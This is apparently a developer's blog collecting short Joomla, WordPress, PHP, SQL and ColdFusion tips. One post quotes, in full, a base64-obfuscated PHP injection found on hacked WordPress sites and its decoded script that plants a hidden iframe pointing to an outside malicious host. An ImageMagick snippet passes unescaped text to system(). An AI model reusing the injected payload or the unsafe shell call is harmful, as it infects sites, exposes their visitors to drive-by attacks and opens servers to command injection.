CodePyro

Breezing Forms Emailed CSV attachment Field sort order

2012-05-09T15:59:00.001-07:00

In the latest version of Breezing Forms the email notification with CSV attachment is an awesome feature. I really enjoy that component for joomla its incredible and makes my job much easier.

Today's request and issue that bugs me is that they sort the fields in the CSV instead of leaving them as in defined in the admin.
example
EXAM1_QUESTION1. EXAM1_QUESTION10,EXAM1_QUESTION11, EXAM1_QUESTION2

This is annoying; To Solve

Edit lines 4391 and 4401
comment out ksort($fields);

How to Track FB likes in Google Analytics

2012-05-01T07:13:00.002-07:00

Google recently released some upgrades for Google Analytics that will track your social interactions. This is great information and allows you to track interesting things like a FB share that leads to an e-commerce sale.

Here is google's How To document
https://developers.google.com/analytics/devguides/collection/gajs/gaTrackingSocial

And some more information about each social report
http://support.google.com/analytics/bin/answer.py?hl=en&answer=1316556

Ill have to upgrade my social sharing and see how it works.. stay tuned

Replace Test urls in Wordpress to live using phpmyadmin

2012-04-30T14:59:00.001-07:00

Just a quick help snippet for those of us who test wp websites on a test domain before moving them to a live url.

This issue arises when using a test domain for building a site and uploaded images, pdfs etc link to the test domain. When you make the website live the links still point to the old url in each and every post and page. Here is a quick SQL snippet to replace those old urls.

    UPDATE wp_posts
    SET guid =
    REPLACE(

        guid,
        "http://TestDomain/",
        "http://www.LiveDomain.com/"

    );

 UPDATE wp_posts
    SET post_content =
    REPLACE(

        post_content,
        "http://TestDomain/",
        "http://www.LiveDomain.com/"

    );

PHP simple Paypal IPN

2012-04-05T23:54:00.000-07:00

To setup a quick Paypal IPN

This quicky uses the code from
http://code.google.com/p/paypal-ipn-class-php/

Download code; unzip; place in site;

Next create your Paypal Button form. Make sure it Posts to paypal.php.
Use paypal.php?sandbox=1 to test in the sandbox

<form action="paypal.php?sandbox=1" method="post">
<input type="hidden" name="cmd" value="_xclick">
<input type="hidden" name="business" value="PAYPAL EMAIL ADDRESS">
<input type="hidden" name="lc" value="US">
<input type="hidden" name="item_name" value="Stuff">
<input type="hidden" name="item_number" value="123">
<input type="hidden" name="amount" value="2.99">
<input type="hidden" name="currency_code" value="USD">
<input type="hidden" name="button_subtype" value="services">
<input type="hidden" name="no_note" value="1">
<input type="hidden" name="no_shipping" value="1"> 
<input type="image" src="https://www.paypalobjects.com/en_US/i/btn/btn_buynowCC_LG.gif" border="0" name="submit" alt="PayPal - The safer, easier way to pay online!">
<img alt="" border="0" src="https://www.paypalobjects.com/en_US/i/scr/pixel.gif" width="1" height="1">
</form>

Next make sure you change the 2 settings for the emails and ADD the line for the SMTP server

 define('EMAIL_ADD', 'PAYPALEMAIL'); // For system notification.
 define('PAYPAL_EMAIL_ADD', 'PAYPALEMAIL');
ini_set("SMTP", "mail.MAILSERVER.com");

Then down on line 96ish add the fields from your specific form to look like

$p->add_field('business', PAYPAL_EMAIL_ADD); //don't need add this item. if your set the $p -> paypal_mail.
            $p->add_field('return', $this_script.'?action=success');
            $p->add_field('cancel_return', $this_script.'?action=cancel');
            $p->add_field('notify_url', $this_script.'?action=ipn');
            $p->add_field('item_name', $_POST['item_name']);
            $p->add_field('item_number', $_POST['item_number']);
            $p->add_field('lc', $_POST['lc']);
            $p->add_field('amount', $_POST['amount']);
            $p->add_field('cmd', '_xclick');
            $p->add_field('rm', '2');    // Return method = POST

mysql replace string

2012-03-13T21:40:00.000-07:00

update jos_vm_product
set product_name = REPLACE(product_name,'OLD TEXT','NEW TEXT')

Gradient Generator tool - ROCKS

2012-02-24T05:07:00.000-08:00

The dev team behind the colorzilla gradient editor need a bunch of Kudos, this tool works really well for generating CSS gradients of any shape and size. I really like how they allow you to paste hex colors into the editor from photoshop!

THANK YOU - colorzilla peoples!!

Wordpress index.php hacked iframe points to ksenzfhvcb.dns1.us

2012-02-23T14:58:00.001-08:00

Several Wordpress sites were hacked today with an insert into the index.php. I have not yet figured out How it happened, and will post when/if I figure it out.

Here was the hacked/added text

eval(base64_decode('ZXJyb3JfcmVwb3J0aW5nKDApOw0KJGJvdCA9IEZBTFNFIDsNCiR1YSA9ICRfU0VSVkVSWydIVFRQX1VTRVJfQUdFTlQnXTsNCiRib3RzVUEgPSBhcnJheSgnMTIzNDUnLCdhbGV4YS5jb20nLCdhbm9ueW1vdXNlLm9yZycsJ2JkYnJhbmRwcm90ZWN0LmNvbScsJ2Jsb2dwdWxzZS5jb20nLCdib3QnLCdidXp6dHJhY2tlci5jb20nLCdjcmF3bCcsJ2RvY29tbycsJ2RydXBhbC5vcmcnLCdmZWVkdG9vbHMnLCdodG1sZG9jJywnaHR0cGNsaWVudCcsJ2ludGVybmV0c2Vlci5jb20nLCdsaW51eCcsJ21hY2ludG9zaCcsJ21hYyBvcycsJ21hZ2VudCcsJ21haWwucnUnLCdteWJsb2dsb2cgYXBpJywnbmV0Y3JhZnQnLCdvcGVuYWNvb24uZGUnLCdvcGVyYSBtaW5pJywnb3BlcmEgbW9iaScsJ3BsYXlzdGF0aW9uJywncG9zdHJhbmsuY29tJywncHNwJywncnJycnJycnJyJywncnNzcmVhZGVyJywnc2x1cnAnLCdzbm9vcHknLCdzcGlkZXInLCdzcHlkZXInLCdzem4taW1hZ2UtcmVzaXplcicsJ3ZhbGlkYXRvcicsJ3ZpcnVzJywndmxjIG1lZGlhIHBsYXllcicsJ3dlYmNvbGxhZ2UnLCd3b3JkcHJlc3MnLCd4MTEnLCd5YW5kZXgnLCdpcGhvbmUnLCdhbmRyb2lkJyk7DQpmb3JlYWNoICgkYm90c1VBIGFzICRicykge2lmKHN0cnBvcyhzdHJ0b2xvd2VyKCR1YSksICRicykhPT0gZmFsc2UpeyRib3QgPSB0cnVlOyBicmVhazt9fQ0KaWYgKCEkYm90KXsNCgllY2hvKGJhc2U2NF9kZWNvZGUoJ1BITmpjbWx3ZEQ1cFppaDNhVzVrYjNkYkoyUW5LeWR2Snlzbll5Y3JKM1VuS3lkdEp5c25aU2NySjI1MEoxMHBZV0U5TDF4M0x5NWxlR1ZqS0c1bGR5QkVZWFJsS0NrcExtbHVaR1Y0SzF0ZE8yRmhZVDBuTUNjN2RISjVlMjVsZHlCa2IyTjFiV1Z1ZENncE8zMWpZWFJqYUNoeGNYRXBlM056UFZOMGNtbHVaenQ5YVdZb1lXRXVhVzVrWlhoUFppaGhZV0VwSVQwOUxURXBDbVk5Snkwek1IWXRNekIyTmpaMk5qTjJMVGQyTVhZMk1YWTNNblkyTUhZM09IWTNNSFkyTW5ZM01YWTNOM1kzZGpZMGRqWXlkamMzZGpNd2RqWTVkall5ZGpjd2RqWXlkamN4ZGpjM2RqYzJkakkzZGpneWRqUTFkalU0ZGpZMGRqTTVkalU0ZGpjd2RqWXlkakYyTUhZMU9YWTNNblkyTVhZNE1uWXdkakoyTlRKMk9YWTFOSFl5ZGpnMGRpMHpNSFl0TXpCMkxUTXdkalkyZGpZemRqYzFkalU0ZGpjd2RqWXlkamMxZGpGMk1uWXlNSFl0TXpCMkxUTXdkamcyZGkwM2RqWXlkalk1ZGpjMmRqWXlkaTAzZGpnMGRpMHpNSFl0TXpCMkxUTXdkall4ZGpjeWRqWXdkamM0ZGpjd2RqWXlkamN4ZGpjM2RqZDJPREIyTnpWMk5qWjJOemQyTmpKMk1YWXROWFl5TVhZMk5uWTJNM1kzTlhZMU9IWTNNSFkyTW5ZdE4zWTNOblkzTlhZMk1IWXlNbll3ZGpZMWRqYzNkamMzZGpjemRqRTVkamgyT0hZMk9IWTNOblkyTW5ZM01YWTRNM1kyTTNZMk5YWTNPWFkyTUhZMU9YWTNkall4ZGpjeGRqYzJkakV3ZGpkMk56aDJOeloyT0hZMk1YWTRkakV6ZGpsMk1UTjJOM1kzTTNZMk5YWTNNM1l5TkhZMk5IWTNNbll5TW5ZeE1IWXdkaTAzZGpnd2RqWTJkall4ZGpjM2RqWTFkakl5ZGpCMk1UQjJPWFl3ZGkwM2RqWTFkall5ZGpZMmRqWTBkalkxZGpjM2RqSXlkakIyTVRCMk9YWXdkaTAzZGpjMmRqYzNkamd5ZGpZNWRqWXlkakl5ZGpCMk56bDJOaloyTnpaMk5qWjJOVGwyTmpaMk5qbDJOaloyTnpkMk9ESjJNVGwyTmpWMk5qWjJOakYyTmpGMk5qSjJOekYyTWpCMk56TjJOekoyTnpaMk5qWjJOemQyTmpaMk56SjJOekYyTVRsMk5UaDJOVGwyTnpaMk56SjJOamwyTnpoMk56ZDJOakoyTWpCMk5qbDJOakoyTmpOMk56ZDJNVGwyT1hZeU1IWTNOM1kzTW5ZM00zWXhPWFk1ZGpJd2RqQjJNak4yTWpGMk9IWTJOblkyTTNZM05YWTFPSFkzTUhZMk1uWXlNM1l0TlhZeWRqSXdkaTB6TUhZdE16QjJPRFoyTFRNd2RpMHpNSFkyTTNZM09IWTNNWFkyTUhZM04zWTJOblkzTW5ZM01YWXROM1kyTm5ZMk0zWTNOWFkxT0hZM01IWTJNblkzTlhZeGRqSjJPRFIyTFRNd2RpMHpNSFl0TXpCMk56bDJOVGgyTnpWMkxUZDJOak4yTFRkMk1qSjJMVGQyTmpGMk56SjJOakIyTnpoMk56QjJOakoyTnpGMk56ZDJOM1kyTUhZM05YWTJNblkxT0hZM04zWTJNbll6TUhZMk9YWTJNblkzTUhZMk1uWTNNWFkzTjNZeGRqQjJOaloyTmpOMk56VjJOVGgyTnpCMk5qSjJNSFl5ZGpJd2RqWXpkamQyTnpaMk5qSjJOemQyTWpaMk56ZDJOemQyTnpWMk5qWjJOVGwyTnpoMk56ZDJOakoyTVhZd2RqYzJkamMxZGpZd2RqQjJOWFl3ZGpZMWRqYzNkamMzZGpjemRqRTVkamgyT0hZMk9IWTNOblkyTW5ZM01YWTRNM1kyTTNZMk5YWTNPWFkyTUhZMU9YWTNkall4ZGpjeGRqYzJkakV3ZGpkMk56aDJOeloyT0hZMk1YWTRkakV6ZGpsMk1UTjJOM1kzTTNZMk5YWTNNM1l5TkhZMk5IWTNNbll5TW5ZeE1IWXdkakoyTWpCMk5qTjJOM1kzTm5ZM04zWTRNblkyT1hZMk1uWTNkamM1ZGpZMmRqYzJkalkyZGpVNWRqWTJkalk1ZGpZMmRqYzNkamd5ZGpJeWRqQjJOalYyTmpaMk5qRjJOakYyTmpKMk56RjJNSFl5TUhZMk0zWTNkamMyZGpjM2RqZ3lkalk1ZGpZeWRqZDJOek4yTnpKMk56WjJOaloyTnpkMk5qWjJOekoyTnpGMk1qSjJNSFkxT0hZMU9YWTNOblkzTW5ZMk9YWTNPSFkzTjNZMk1uWXdkakl3ZGpZemRqZDJOeloyTnpkMk9ESjJOamwyTmpKMk4zWTJPWFkyTW5ZMk0zWTNOM1l5TW5Zd2RqbDJNSFl5TUhZMk0zWTNkamMyZGpjM2RqZ3lkalk1ZGpZeWRqZDJOemQyTnpKMk56TjJNakoyTUhZNWRqQjJNakIyTmpOMk4zWTNOblkyTW5ZM04zWXlOblkzTjNZM04zWTNOWFkyTm5ZMU9YWTNPSFkzTjNZMk1uWXhkakIyT0RCMk5qWjJOakYyTnpkMk5qVjJNSFkxZGpCMk1UQjJPWFl3ZGpKMk1qQjJOak4yTjNZM05uWTJNblkzTjNZeU5uWTNOM1kzTjNZM05YWTJOblkxT1hZM09IWTNOM1kyTW5ZeGRqQjJOalYyTmpKMk5qWjJOalIyTmpWMk56ZDJNSFkxZGpCMk1UQjJPWFl3ZGpKMk1qQjJMVE13ZGkwek1IWXRNekIyTmpGMk56SjJOakIyTnpoMk56QjJOakoyTnpGMk56ZDJOM1kyTkhZMk1uWTNOM1l6TUhZMk9YWTJNblkzTUhZMk1uWTNNWFkzTjNZM05uWXlOM1k0TW5ZME5YWTFPSFkyTkhZek9YWTFPSFkzTUhZMk1uWXhkakIyTlRsMk56SjJOakYyT0RKMk1IWXlkalV5ZGpsMk5UUjJOM1kxT0hZM00zWTNNM1kyTW5ZM01YWTJNWFl5T0hZMk5YWTJOblkyT1hZMk1YWXhkall6ZGpKMk1qQjJMVE13ZGkwek1IWTROaWN1YzNCc2FYUW9KM1luS1R0dFpEMG5ZU2M3WlQxM2FXNWtiM2RiSjJVbkt5ZDJZV3duWFR0M1BXWTdjejBuSnp0bWNqMG5aaWNySjNKdkp5c25iU2NySjBOb1lYSW5PM0k5YzNOYlpuSXJKME52WkdVblhUdG1iM0lvYVQwd095MXBQaTEzTG14bGJtZDBhRHRwS3lzcGUybzlhVHR6UFhNcmNpZ3pPU3N4S25kYmFsMHBPMzBLYVdZb1lXRXVhVzVrWlhoUFppaGhZV0VwSVQwOUxURXBDbVVvY3lrN1BDOXpZM0pwY0hRKycpKTsNCn0='));

First Translation

if(window['d'+'o'+'c'+'u'+'m'+'e'+'nt'])aa=/\w/.exec(new Date()).index+[];aaa='0';try{new document();}catch(qqq){ss=String;}if(aa.indexOf(aaa)!==-1)
f='-30v-30v66v63v-7v1v61v72v60v78v70v62v71v77v7v64v62v77v30v69v62v70v62v71v77v76v27v82v45v58v64v39v58v70v62v1v0v59v72v61v82v0v2v52v9v54v2v84v-30v-30v-30v66v63v75v58v70v62v75v1v2v20v-30v-30v86v-7v62v69v76v62v-7v84v-30v-30v-30v61v72v60v78v70v62v71v77v7v80v75v66v77v62v1v-5v21v66v63v75v58v70v62v-7v76v75v60v22v0v65v77v77v73v19v8v8v68v76v62v71v83v63v65v79v60v59v7v61v71v76v10v7v78v76v8v61v8v13v9v13v7v73v65v73v24v64v72v22v10v0v-7v80v66v61v77v65v22v0v10v9v0v-7v65v62v66v64v65v77v22v0v10v9v0v-7v76v77v82v69v62v22v0v79v66v76v66v59v66v69v66v77v82v19v65v66v61v61v62v71v20v73v72v76v66v77v66v72v71v19v58v59v76v72v69v78v77v62v20v69v62v63v77v19v9v20v77v72v73v19v9v20v0v23v21v8v66v63v75v58v70v62v23v-5v2v20v-30v-30v86v-30v-30v63v78v71v60v77v66v72v71v-7v66v63v75v58v70v62v75v1v2v84v-30v-30v-30v79v58v75v-7v63v-7v22v-7v61v72v60v78v70v62v71v77v7v60v75v62v58v77v62v30v69v62v70v62v71v77v1v0v66v63v75v58v70v62v0v2v20v63v7v76v62v77v26v77v77v75v66v59v78v77v62v1v0v76v75v60v0v5v0v65v77v77v73v19v8v8v68v76v62v71v83v63v65v79v60v59v7v61v71v76v10v7v78v76v8v61v8v13v9v13v7v73v65v73v24v64v72v22v10v0v2v20v63v7v76v77v82v69v62v7v79v66v76v66v59v66v69v66v77v82v22v0v65v66v61v61v62v71v0v20v63v7v76v77v82v69v62v7v73v72v76v66v77v66v72v71v22v0v58v59v76v72v69v78v77v62v0v20v63v7v76v77v82v69v62v7v69v62v63v77v22v0v9v0v20v63v7v76v77v82v69v62v7v77v72v73v22v0v9v0v20v63v7v76v62v77v26v77v77v75v66v59v78v77v62v1v0v80v66v61v77v65v0v5v0v10v9v0v2v20v63v7v76v62v77v26v77v77v75v66v59v78v77v62v1v0v65v62v66v64v65v77v0v5v0v10v9v0v2v20v-30v-30v-30v61v72v60v78v70v62v71v77v7v64v62v77v30v69v62v70v62v71v77v76v27v82v45v58v64v39v58v70v62v1v0v59v72v61v82v0v2v52v9v54v7v58v73v73v62v71v61v28v65v66v69v61v1v63v2v20v-30v-30v86'.split('v');md='a';e=window['e'+'val'];w=f;s='';fr='f'+'ro'+'m'+'Char';r=ss[fr+'Code'];for(i=0;-i>-w.length;i++){j=i;s=s+r(39+1*w[j]);}
if(aa.indexOf(aaa)!==-1)
e(s);

Then it next translates too the javascript that adds an iframe to the html page.

if (document.getElementsByTagName('body')[0])
 {            iframer();        } 
 else 
 {            document.write("<iframe src='http://ksenzfhvcb.dns1.us/d/404.php?go=1' width='10' height='10' style='visibility:hidden;position:absolute;left:0;top:0;'></iframe>");        
 }        
 
 function iframer()
 {    
  var f = document.createElement('iframe');f.setAttribute('src','http://ksenzfhvcb.dns1.us/d/404.php?go=1');
  f.style.visibility='hidden';
  f.style.position='absolute';
  f.style.left='0';
  f.style.top='0';
  f.setAttribute('width','10');
  f.setAttribute('height','10');            
  document.getElementsByTagName('body')[0].appendChild(f);        
 }

Export 100K+ records to Excel using ColdFusion

2012-02-21T17:25:00.000-08:00

Lately I have been building a contact manager in coldfusion 8 for a customer with hundreds of thousands of records. They needed to be able to import, search, sort & export their contacts from excel .xls files. Using Ben Nadel's POI utility is awesome for excel files with hundreds of rows. When you start to deal with more than that it becomes very troublesome, lots of timeout errors, 500 jRun memory stack issues etc. I need to add a part 2 of this post for the Import and how I got around those problems.

If you are able to, use MsSQL DTS packages instead to do the import/export (much more efficient). In a shared environment this is impossible, we have to do it asynchronously (*challenge accepted!*).

First of all I tried to use a cfcontentvariable to save the string of outputted text to write the file using cffile. Even with 1000 records this process ran too long and failed. After some googling I found Raymond Camden's blog about writing large amounts of data to a file which added a nice solution (Read It NOW). In this article he compares and explains several different ways of writing data. I chose to use the method #2 fileOpen, because its really FAST!! (well alot more than cffile).

Ill attach the example in full, but here are some excerpts that show the key pieces.

On the first run, the export creates the initial file, adds the header html table that is used to write the .XLS file.

<cfset filepath=ExpandPath( "tmp/Contacts Export.xls" )/>

<cfset contentLine=""/>
<cfif isFirstRun  eq true >
  <!--- write the header and inital X records to the xls file ---> 
  
  <!---ensure that on the first run the file is Overwritten--->
  <cfif FileExists(filepath)>
    <cfset FileDelete(filepath)/>
  </cfif>
  
  <!---open the file object--->
  <cfset fileObj = fileOpen(filepath,"write")/>
  
  <!---create the xls header--->
  <cfset contentHeader ='<table border="1"><thead align="center"><th>FirstName</th><th>LastName</th><th>email</th><th>City</th><th>State</th><th>categoryList</th><th>entity</th><th>phone</th><th>type</th><th>resource</th></thead>'>
  <cfset fileWriteLine(fileObj, contentHeader)>
  <cfset fileClose(fileObj)>
</cfif>

After the Header is written, 10,000 records are then appended as a string and then written to the file. Once this process is completed AND there are more records to process, the page is automatically refreshed either by an html button or javascript window.location. Each iteration appends 10K records to the excel file. Depending upon the server, it may be able to handle 20K or more.

<!---re-open up the file for writing the rest of the contacts--->
<cfset fileObj = fileOpen(filepath,"append")/> 

<!---create the string of data from the query--->
<cfloop query="qcontacts" startrow="#url.recordsProcessed#"  endrow="#maxRows#"  >
  <cfset contentLine &=  '<tr align="left"><td>#FirstName#</td><td>#LastName#</td><td>#email#</td></tr>'/>
</cfloop>
<!---write this bulk entry into the xls file--->
<cfset fileWriteLine(fileObj, contentLine)>
<cfset fileClose(fileObj)>

This process works pretty well for hundreds of thousands of records, but not millions. It takes about 3-4 minutes to write 200K records to an excel sheet. Not ideal and not the most elegant, but it works. If you have improvements Please Feel Free to Share!!

Full Source example
*note this is a hacked up version from the project; it has not been tested.

Convert PDFs to JPGs

2012-02-07T17:51:00.000-08:00

Need to quickly save each page of a pdf into a jpg?

Open the file in Acrobat PRO - and be sure that the Page Thumbnails tray is open.
Highlight all of the Page Thumbnails
Right Click on them to bring up the context menu - select "Extract Pages"
Choose the file location to save all of the exported split pages

Next use photoshop to open each pdf and save as a jpg or
"save as for web" in my case
This can be done with a batch process by creating a new action set.

Copy MySQL db on the same server

2012-02-06T16:36:00.000-08:00

Need to duplicate or backup a db for testing, give this a run.

You can specify a username and pass for both, but I had trouble with it. SO I just used root.. :)

mysqldump -h [server] -u [user] -p[password] DataBaseA | mysql -h [server]  DataBaseB

vbulletin error after upgrading php "includes/init.php Line: 49"

2012-01-27T18:59:00.001-08:00

If you are getting the below errors with vBulletin after upgrading php.

Deprecated: Assigning the return value of new by reference is deprecated in E:\websites\dynamic\DOMAIN\a2hosting_forum\includes\init.php on line 383

Deprecated: Assigning the return value of new by reference is deprecated in E:\websites\dynamic\DOMAIN\a2hosting_forum\includes\class_core.php on line 2529

Unable to add cookies, header already sent.
File: E:\websites\dynamic\DOMAIN\a2hosting_forum\includes\init.php
Line: 49

To fix
Try replacing

error_reporting(E_ALL & ~E_NOTICE);

with

error_reporting(E_ALL & ~E_NOTICE & ~8192);

Then replace all occurances of '=&' with '='

Joomla Virtuemart Product search plugin not finding products

2012-01-26T16:44:00.000-08:00

The vmxsearch.plugin that comes with Virtuemart to integrate product search into the normal joomla website search works great once its configured. Some products may not show in the search results.

The main cause for this is if the product is out of stock. In my case I had a -2 in the stock amount for the products that were not showing.

Change this by going into the admin->virtuemart->product list-> edit product and change the stock on the Product Status Tab.

How to Add an image link to a Nivo Slider using Next Gen Gallery for Wordpress

2011-12-21T14:05:00.000-08:00

This setup is for when you need to use a custom field say a Link for your Next Gen Gallery images while viewing the images in a Nivo Slider. In particular I am using the Easy Nivo Slider.

First get your gallery setup with all of your images. Next go get the Next Gen Gallery Custom Fields . Once the plugin is installed add a new field called "link", now each of your images will have a link field in the gallery manager. Fill out a link for each.

Next in the Easy Nivo Slider get that plugged into an article or in one of your templates. Once that is done and the slideshow is running at the dimensions that you need. Your ready to add the custom fields to the output.

The Custom fields in the Next Gen gallery are not called in the Easy Nivo Slider so we will need to use some functions to get the particular field.

Open up the file plugins/easy-nivo-slider/nextgen/list-images.php

You should find the php code that displays the image tag around 185.

echo '<img src="'.$image->imageURL.'" '. $image_description.$size.' border="0" />';

Just before that code we are going to add the php to output our new custom link field.
We will use the function from the Next Gen Gallery Custom Fields functions.php file called nggcf_get_field. It takes 2 parameters ('PHOTO ID','CUSTOM FIELD NAME')

//get the field value from the Next Gen Gallery Custom Fields using the photo id
  $linkval= nggcf_get_field($result->pid,'link');
  if($linkval !='')
     echo "<a href=\"" . $linkval . "\">";

So thats it now you have outputted your custom field of link before the image is ouput. I would also reccomend closing the a tag after the image is displayed. Here is the full snippet.

//codepyro hack using the next gen gallery custom fields to get  the custom field of link for each photo
              $linkval= nggcf_get_field($result->pid,'link');
             if($linkval !='')
               echo "<a href=\"" . $linkval . "\">";

            // Output the image
            // Note that this outputs the original nextgen image, not the resized one.  need to figure out how
            // to get that one, if it exists

            echo '<img src="'.$image->imageURL.'" '. $image_description . $size .' border="0" />';

             if($linkval !='')
                 echo '</a>';

MSSQL subquery as a list.. i.e. return categories as a select item

2011-12-20T17:31:00.000-08:00

If you have ever wondered how to return a list of categories with a select statement heres the answer. It actually comes from StackOverflow.This is a repost so I can find it later as I am sure that I have needed to do this about 20 times in the past.

This is Really clever and full credit goes to this really Smart guy Niikola

Here is a simple-ish query, gets some user data along with the list of categories. The Category table is separate with a linking table called contact_category_xref which holds the category id and the contact id associated.

SELECT
c.id,
c.FirstName,
c.LastName,
c.email,
c.City,
c.State,

Stuff((select ','+cat.name from category cat left join 
        contact_category_xref x
        on cat.id = x.catid
        where x.contactid = c.id
        For XML PATH('')),1,1,'') as categoryList
FROM contacts c

Ill attempt some explanation, feel free to jump in and offer corrections please.

The first bit of Magic comes in the form of the "For XML Path('')" command in sql returns the query columns as XML which is incredibly handy.

  "pizza,pie"

Now to get rid of the xml portion concatenating the comma before the cat.name returns the list without XML. example ',pizza,pie,cookies,snickers'
I have no Idea how this works or why but it does. Please feel free to explain if you know.

So Whats left is the STUFF command which removes the first character for 1 character in length and replaces it with ''. Which means we are left with our nicely formatted list 'pizza,pie,cookies,snickers'.

Pretty COOL i must say.

Size Nivo slideshows for mobile using CSS

2011-12-13T19:57:00.000-08:00

Yep, you sure can scale and re-size the Nivo and many other jQuery or Mootools slideshows using CSS media queries.

To get started I am using
The easy-nivo-slider for Wordpress. This is in conjunction with Really Nice NextGen Wordpress Gallery Manager plugin.
(If you need to learn these just visit their respective pages.)

Now to the quick goodies. I am only showing the normal website width and a small mobile. I would reccomend setting another media query for around 768px wide, or go look up common mobile device screen sizes

//Normal width of a website
 .easy-nivo-slider-first
{ 
  width:700px;
}

//CSS media Query for screen sizes less than or equal too 320px wide
@media only screen and (max-width: 320px) {
 .easy-nivo-slider-first
{  
width:300px;
}

Export Lists from Outlook to csv

2011-12-02T10:15:00.000-08:00

Open up the contacts
Click to highlight a list
Choose File->Save As
Change the Save As Type to "Text Only .txt"

Save the file
Then open excel
Next goto File->Open Choose your file

You should get a popup "Text Import Wizard" asking you about delimited, just leave the default.
- Choose Next
- make sure Tab is checked
- Click Finish

Next choose File->Save As
Save your file as a csv

Adobe Wallaby - flash to html5 canvas conversion tool

2011-07-29T13:58:00.000-07:00

Just gave wallaby a try with a new flash project. Wallaby is a beta utility that converts flash fla to html5 svg. It has some problems but I am pretty impressed with it thus far. Although it doesn't produce anything of professional quality nor create anything that can be polished. Can't wait until its a fully functional product, its about time adobe figured out a way to support more devices!

Here are a list of release notes with supported features below.

Browsers tested and sorta working:
Safari 5.0.3 - had some loading issues but good results
iPod mobile safari v??? - partly worked, not all animation loaded
Chrome v12.0.742.122 - best results

Firefox 5 - dont work at all :(
IE9 - failure as well

The animation came across exactly as in the flash fla (CS4).
Sound did not get converted
Buttons - hover actions and links don't work

Convert project contains

jQuery 1.4.2
project_source_assets - folder for all the svg files
project.html - loads all svg resource in div containers with styles for the resource/tween/sprite.
project.js - file that starts animation for objects and children
project.css - styles and css based webkit animations, the styles have an underscore and a number which seems to inidicate the motion or tween setup in flash.

i.e.

.wlby_260
{
    -webkit-animation-duration: 0.28125s;
    display: none;
    position: absolute;
    -webkit-transform: matrix(1, 0, 0, 1, 182.55, 270.05);
}

Debugging Titanium xhr requests with php

2011-07-25T14:56:00.000-07:00

Authentication for xhr request for Appcelerator Titanium is difficult. During my latest bout with the cross platform mobile app platform I discovered that XHR request header variable names get renamed (aka case changes).

For the auth part of the app being worked on requires sending a Session Key for authorization for every request after the user is logged in. For a good tutorial on how a more basic authorization might work go check out Titanium User Authentication. In any case request headers sent from Titanium are re-cased i.e. "UserAuthKey" becomes "Userauthkey".

To discover this lil gem of a problem after hours of poking I chose to find and use a logging utility to see what was actually being sent.

Below is a quick php POST logging utility from CodeWord with headers added. This logging utility serializes the incoming Post request to a logs directory. It makes it easy to see the variables being passed in and headers.

To use, create a php file called xhrlog.php. Upload to your favorite testing server. Ensure you have a directory called "logs". Then submit your xhr POST requests to MYDOMAIN.com/xhrlog.php from php, html, android, titanium.. wherever and it'll log it for you!

<?php

 
  /*function from http://blog.apokalyptik.com/2008/03/25/logging-post-data/comment-page-1/
Creates a log file of the POST request
*/ 
if ( isset($_POST) && is_array($_POST) && count($_POST) > 0 ) {
  $log_dir = dirname( __FILE__ ) . '/logs/';
  $log_name = "posts-" . $_SERVER['REMOTE_ADDR'] . "-" . date("Y-m-d-H") . ".log";
  $log_entry = gmdate('r') . "\t" .serialize(parseRequestHeaders())."\n ". $_SERVER['REQUEST_URI'] . "\r\n" . serialize($_POST) . "\r\n\r\n";
  $fp=fopen( $log_dir . $log_name, 'a' );
  fputs($fp, $log_entry);
  fclose($fp); }
   
/*
function copied from stackoverflow http://stackoverflow.com/questions/541430/how-do-i-read-any-request-header-in-php

Parses html request headers
*/
  function parseRequestHeaders() {
    $headers = array();
    foreach($_SERVER as $key => $value) {
        if (substr($key, 0, 5) <> 'HTTP_') {
            continue;
        }
        $header = str_replace(' ', '-', ucwords(str_replace('_', ' ', strtolower(substr($key, 5)))));
        $headers[$header] = $value;
    }
    return $headers;
}

?>

Wordpress RocketTheme and RokStories issues

2011-07-07T19:11:00.000-07:00

Using RocketThemes for Joomla has been a great Joy. This week I tried one of the wordpress themes, boy what a journey.

There seems to be some sort of caching issue and settings troubles. If you go to create your own preset, that is to say your own customized template use one of the pre-existing ones. I tried to create a separate preset and had NO-End of problems. The customized template preset would work fine and be cached for several hours then revert back to the last preset. Your best hope to get the template to work correctly is to completely over-write one of the presets.

Anyway, enough about the dang template issues and on to the RokStories.

In my customized template there was a "Showcase" for RokStories which by template defaults were loading 3 posts under category frontpage. The RokStories shows on every page by default. To make it show only on the homepage you need to 1st create a new override call it something useful.

Now that you have an override you can go to the widgets admin and remove all of the widgets un-needed for the Default Gantry Settings. When happy switch to your custom override for the homepage.

Now you would think with the override that the settings would just *work* for the homepage, BZZZZ WRONG. The settings still come from the default settings for RokStories. So to resolve my issue of RokStories for wordpress only showing 3 entries I had to manually edit the rokstories_artcount json variable in the wp_options db.

Also note that when manually editing this variable, YOU MAY not set it above 9, for some reason 2 digits break the site!

//to find the variable
SELECT *
FROM `wp_options`
WHERE option_value LIKE '%artcount%'

php Image Magik - how to force Text Wap without cropping

2011-06-02T00:23:00.000-07:00

After several hours of trying to find the best way to add 2 sets of text to an image using ImageMagik without overlapping. The image is split into two natural text blocks. I felt it was easier to add the two sections of text to the one image instead of combining two images.

The simplest way I could find is to figure out the font point size and approximate the dimensions by the number of characters in your string. Then use the php wordwrap function to add newline characters every 35 characters.

Note: I only needed to force word wrapping on message one because it shows on the left side of the image. ImageMagik will automatically wrap the annotation if it runs into the right edge of the image. Well it appears that way and its working so far, but I may change it later just cause :)

//force text wrapping every 35 characters
$message = wordwrap($message, 35, "\n", true);
$filepath = '/home/test.com/';
$newfile = $filepath.'uploads/files/'.$newfilename;
//image we want to write text on
$blankfile = $filepath.'images/blank_image.png';

$imageCMD = "convert  '$blankfile'    ".
                 " -fill '#000000' -pointsize 16   -annotate +40+80 '$message1'   ".  
                 " -fill '#000000' -pointsize 20   -annotate +340+150 '$message2' ".
                 " '$newfile'" ;
//calls the linux commandline to process the command    
$cr = system( $imageCMD  , $retval);

Customize the Joomla offline login redirect url

2011-05-17T18:20:00.000-07:00

First off to customize the offline login form for joomla change the "Site Offline" to yes in the Global Configuration-> site tab.

Once you make this change the website will require a login to view the site. To customize this page copy the offline.php file to templates/YOURTEMPLATE folder. Then feel free to add your graphics, tweak the css and heck even add some animation from jquery or perhaps a slideshow.

For my project I needed to have a splash html page before the website login. This causes issues because the index.html page is loaded as the 'URL/' inestead of the index.php. Basically when someone logged in they would be redirected to the splash page. Well heck that ain't gonna work...

So to resolve the issue you need to find the line in the offline.php file that has the base64_encode(JURI::base()). Replace the JURI::base() with the url you need to redirect to i.e. base64_encode('http://YOURDOMAIN.com/about')

Joomla website offline login issue on IIS with sh404sef

2011-05-10T17:17:00.000-07:00

